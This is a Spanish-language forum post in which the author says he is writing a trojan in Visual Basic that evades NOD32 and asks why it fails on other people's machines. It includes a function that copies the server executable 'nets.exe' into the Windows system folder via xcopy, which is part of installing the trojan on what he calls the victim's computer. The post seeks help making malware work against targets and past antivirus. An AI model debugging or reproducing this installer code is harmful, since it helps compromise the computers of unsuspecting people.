Hola buenas,
A ver si soy capaz de explicar mi problema:

Estoy haciendo un troyano en VB. Cuando lo pruebo en mi equipo (server y client) funciona perfectamente, el NOD32(actualizado) no lo detecta.

El problema viene cuando lo ejecuto en otro equipo que no sea el mío. Lo he probado en varios de mis amigos, el server se entiende, (todos con NOD32 actualizado), y a todos les aparece este error "windows no tiene acceso al dispositivo, ruta de acceso o archivo especificado, puede que no tenga los permisos apropiados para tener acceso al elemento"
he leido por ahi que este error (en este caso no es a causa de los permisos ya q lo ejecutan como administrador) es debido al antivirus o firewall. He logrado que no aparezca este error quitandole la siguiente funcion al server :

Private Function CopiarArchivo()

Dim ejec As String
Dim sys As Folder
Dim copiar As String
Dim renombrar As String
Dim file As FileSystemObject
Set file = New FileSystemObject
Dim comillas As String

comillas = Chr(34)
ejec = App.Path                                   
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"   
ejec = comillas & ejec & "nets.exe" & comillas & " "
Set sys = file.GetSpecialFolder(1)                 
copiar = sys & "\xcopy " & ejec & sys
                                                   
If (LCase(App.Path) <> sys) Then                   
    Shell copiar 'FileCopy ejec, sys  "\nombre1"
End If

Set file = Nothing
End Function


En resumen, que con la funcion que copia el server al equipo de la victima no soy capaz de que me funcione. ¿Alguna solución? ¿Pq m funciona en mi equipo y en los demas no? ¿Problema de antivirus?

Gracias.